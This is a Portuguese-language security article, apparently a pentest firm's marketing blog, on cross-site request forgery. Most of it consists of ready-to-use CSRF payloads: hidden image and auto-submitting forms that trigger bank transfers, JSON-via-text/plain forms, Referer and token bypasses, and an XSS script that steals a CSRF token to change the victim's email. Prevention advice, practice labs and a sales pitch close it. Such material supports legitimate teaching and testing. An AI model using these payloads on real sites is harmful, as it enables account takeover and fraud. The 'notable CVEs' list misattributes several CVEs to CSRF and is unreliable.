Como o CSRF funciona
O browser envia automaticamente cookies de sessão em toda requisição ao domínio alvo, independentemente de qual site originou a requisição. Um site malicioso pode forçar o browser da vítima autenticada a fazer requisições indesejadas.
-- Fluxo do ataque:
1. Vítima faz login em banco.com → recebe cookie de sessão
2. Vítima visita evil.com (ainda com sessão ativa)
3. evil.com contém formulário oculto que aponta para banco.com
4. Browser da vítima envia requisição com cookie válido
5. banco.com executa transferência como se fosse a vítimaVetores de Ataque
GET request (mais simples)
-- Se a ação usa GET (incorreto, mas comum em apps legadas)
<img src="https://banco.com/transferir?valor=10000¶=atacante" style="display:none">
-- Ou via link
<a href="https://banco.com/delete-account">Clique para ganhar um prêmio!</a>POST com formulário automático
<!-- evil.com -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://banco.com/transferir">
<input type="hidden" name="valor" value="10000">
<input type="hidden" name="para" value="conta-atacante">
</form>
</body>
</html>JSON CSRF (Content-Type application/json)
-- Formulários HTML não enviam application/json por padrão
-- Mas algumas apps aceitam text/plain com body JSON
<form method="POST" action="https://api.alvo.com/update" enctype="text/plain">
<input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>
-- Resulta em: {"email":"[email protected]","ignore":"="}CSRF via XHR/Fetch (quando CORS mal configurado)
fetch('https://api.alvo.com/user/update', {
method: 'PUT',
credentials: 'include', // inclui cookies
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: '[email protected]'})
});
// Se CORS permitir: Access-Control-Allow-Origin: * ou origin do atacanteBypass de Proteções Comuns
Bypass de verificação de Referer
-- App verifica se Referer contém 'alvo.com'
-- Bypass: usar subdomínio controlado ou path trick
https://alvo.com.evil.com/csrf.html
https://evil.com/alvo.com/csrf.html
-- Ou suprimir o Referer com meta tag
<meta name="referrer" content="no-referrer">
-- Muitas apps aceitam requisições sem RefererBypass de token CSRF fraco
-- Token não ligado à sessão
-- Bypass: usar seu próprio token válido na requisição da vítima
-- Token previsível (sequencial, baseado em timestamp)
-- Bypass: gerar token válido e reutilizar
-- Token validado apenas no lado cliente
-- Bypass: enviar requisição diretamente sem JavaScript
-- Token presente mas não verificado no servidor
-- Bypass: remover o parâmetro e ver se funciona
-- Muitas apps geram o token mas esquecem de validar
-- Token no cookie + parâmetro (Double Submit Cookie)
-- Se XSS disponível: ler cookie e incluir no parâmetro
-- Se subdomínio comprometido: setar cookie via document.cookieCSRF em aplicações SPA com API
-- Apps que usam apenas Authorization: Bearer TOKEN
-- São imunes a CSRF pois o browser não envia headers customizados automaticamente
-- MAS: se a API aceita cookies como fallback = vulnerável
-- Verificar:
Curl -b 'session=TOKEN' https://api.alvo.com/user
-- Se funcionar sem Authorization header = vulnerável a CSRFCSRF + XSS = Bypass Total de Tokens
-- XSS no mesmo domínio permite ler o token CSRF e usá-lo
<script>
// Passo 1: buscar página com token CSRF
fetch('/settings').then(r => r.text()).then(html => {
// Passo 2: extrair token do HTML
var token = html.match(/csrf_token.*?value="([^"]+)"/)[1];
// Passo 3: fazer requisição autenticada com token válido
fetch('/settings/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '[email protected]&csrf_token=' + token
});
});
</script>Prevenção
- Synchronizer Token Pattern — token aleatório criptograficamente seguro, por sessão ou por request, validado no servidor
- SameSite Cookie — atributo SameSite=Strict ou Lax impede envio de cookies cross-site (proteção moderna e eficaz)
- Double Submit Cookie — enviar token idêntico em cookie e parâmetro; validar que são iguais no servidor
- Custom Request Header — exigir header customizado (X-Requested-With) que browsers não enviam cross-origin por padrão
- Verificar Origin/Referer — verificar ambos os headers e rejeitar se não corresponderem ao domínio esperado
- Re-autenticação — para ações críticas (mudança de senha, transferências), exigir senha novamente
CVEs Notáveis
- CVE-2022-29581 — Jenkins: CSRF em endpoints de API sem proteção de token
- CVE-2021-21972 — VMware vCenter: CSRF combinado com upload de arquivo levou a RCE
- CVE-2023-22515 — Confluence: CSRF para criar conta de admin (CVSS 10.0)
Labs para Praticar
- PortSwigger Web Academy — laboratórios de CSRF com todos os cenários de bypass
- HackTheBox — desafios web com CSRF encadeado com XSS
- DVWA — módulo de CSRF com níveis de segurança
Quer testar isso na prática?
A CyberZ realiza testes autorizados de segurança usando as técnicas descritas neste artigo — e muito mais. Identifique suas vulnerabilidades antes que os invasores o façam.
Falar com Especialista